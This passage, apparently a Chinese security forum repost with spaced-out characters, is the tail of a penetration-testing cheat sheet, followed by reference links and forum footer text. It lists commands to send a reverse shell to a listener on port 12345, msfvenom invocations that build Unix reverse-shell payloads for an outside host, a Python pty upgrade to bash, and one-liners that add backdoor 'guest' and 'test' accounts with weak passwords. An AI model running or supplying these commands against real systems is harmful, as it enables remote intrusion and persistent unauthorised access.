1 9 2 . 1 6 8 . 3 1 . 4 1 ： 1 2 3 4 5                 #   第 三 步 ： 反 弹 s h e l l 到 目 标 主 机 的 1 2 3 4 5 端 口 #   m s f v e n o m   - l   p a y l o a d s   ' c m d / u n i x / r e v e r s e ' #   m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ x x x x   l h o s t = 1 . 1 . 1 . 1   l p o r t = 1 2 3 4 5   R #   p y t h o n   - c   " i m p o r t   p t y ; p t y . s p a w n ( ' / b i n / b a s h ' ) " #   u s e r a d d   g u e s t ; e c h o   ' g u e s t : 1 2 3 4 5 6 ' | c h p a s s w d #   u s e r a d d   - p   ` o p e n s s l   p a s s w d   1 2 3 4 5 6 `   g u e s t #   u s e r a d d   t e s t ; e c h o   - e   " 1 2 3 4 5 6 n 1 2 3 4 5 6 n "   | p a s s w d   t e s t h t t p s : / / g i t h u b . c o m / s m a r t F l a s h / p y S e c u r i t y / b l o b / m a s t e r / z h - c n / 0 x 1 1 . m d   h t t p : / / p e n t e s t m o n k e y . n e t / c h e a t - s h e e t / s h e l l s / r e v e r s e - s h e l l - c h e a t - s h e e t   h t t p : / / w w w . f r e e b u f . c o m / n e w s / 1 4 2 1 9 5 . h t m l   h t t p : / / b r i e f l y x . m e / 2 0 1 5 / l i n u x - t o o l s / s o c a t - i n t r o d u c t i o n /
日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 扫 描 关 注 扫 描 关 注 L e m o n S e c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理